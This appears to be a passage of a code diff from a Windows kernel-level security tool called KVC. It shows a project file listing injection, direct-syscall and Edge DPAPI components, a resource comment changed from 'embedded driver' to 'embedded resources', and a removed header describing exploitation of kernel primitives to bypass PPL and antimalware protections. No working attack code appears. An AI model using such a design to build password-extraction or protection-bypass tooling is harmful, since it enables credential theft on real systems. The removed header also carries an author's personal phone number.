<ClCompile Include="BrowserOrchestrator.cpp" />
<ClCompile Include="OrchestratorCore.cpp" />
<ClCompile Include="BrowserProcessManager.cpp" />
<ClCompile Include="InjectionEngine.cpp" />
<ClCompile Include="CommunicationLayer.cpp" />
<ClCompile Include="syscalls.cpp" />
<ClCompile Include="EdgeDPAPI.cpp" />
<ClCompile Include="BannerSystem.cpp" />
<ClCompile Include="BrowserHelp.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="OrchestratorCore.h" />
<ClInclude Include="BrowserProcessManager.h" />
<ClInclude Include="InjectionEngine.h" />
<ClInclude Include="CommunicationLayer.h" />
<ClInclude Include="resource.h" />
<ClInclude Include="syscalls.h" />
<ClInclude Include="EdgeDPAPI.h" />
<ClInclude Include="BannerSystem.h" />
<ClInclude Include="BrowserHelp.h" />
</ItemGroup>
<ItemGroup>
<MASM Include="AbiTramp.asm" />
</ItemGroup>
<ItemGroup>
<!-- Fixed: Use kvc.ico instead of PassExtractor.ico -->
<Image Include="ICON\kvc.ico" />
</ItemGroup>
<ItemGroup>

View File

@@ -4,7 +4,8 @@
// KVC Main Application Resources (100-199)
#define IDI_ICON1 101
#define IDR_MAINICON 102 // Icon data containing embedded driver
#define IDR_MAINICON 102 // Icon data containing embedded resources
// PassExtractor/kvc_pass Resources (200-299)
#define IDI_PASSEXTRACTOR_ICON 201

View File

@@ -1,28 +1,3 @@
/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
// syscalls.cpp
#include "syscalls.h"
#include <vector>